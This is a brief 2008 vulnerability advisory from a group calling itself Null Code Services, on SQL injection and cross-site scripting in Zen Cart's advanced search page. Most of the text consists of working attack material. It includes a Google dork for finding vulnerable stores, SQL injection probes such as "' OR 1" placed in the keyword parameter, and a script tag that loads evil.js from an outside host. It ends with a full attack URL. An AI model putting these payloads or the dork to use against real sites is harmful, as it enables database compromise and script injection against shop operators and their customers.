zencart-sql.txt

`+==========================================================================+  
+ 2008 Zen Cart & SQL-Injection Vulnerabilities +  
+==========================================================================+  
  
  
Author(s): Ivan Sanchez   
  
Product: Zen Cart  
  
Web: http://www.zen-cart.com/  
  
Versions: 2008 Zen Cart  
  
Date: 01/05/2008  
  
  
  
  
GOOGLE DORKS:  
------------  
[+] intext:"2008 Zen Cart" inurl:"keyword="  
  
Copyright © 2008 Zen Cart. Powered by Zen Cart  
  
  
EXPLOIT:  
--------  
  
  
1/4 = 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 10  
OK ;-) and then you see: fields, records, tables  
  
2/3 = Inject evilcode ;-)  
  
  
In Action:  
---------  
  
  
1-keyword= "><script src=http://site/scripts/evil.js></script>  
2-keyword= ' ' OR 1  
3-keyword=' '  
4-http://site/ZenCart/index.php?main_page=advanced_search_result&search_in_description=1&zenid=bla&keyword=evil.js  
  
  
  
  
NULL CODE SERVICES [ www.nullcode.com.ar ] Hunting Security Bugs!  
+==========================================================================+  
+ 2008 Zen Cart & SQL-Injection Vulnerabilities +  
+==========================================================================+`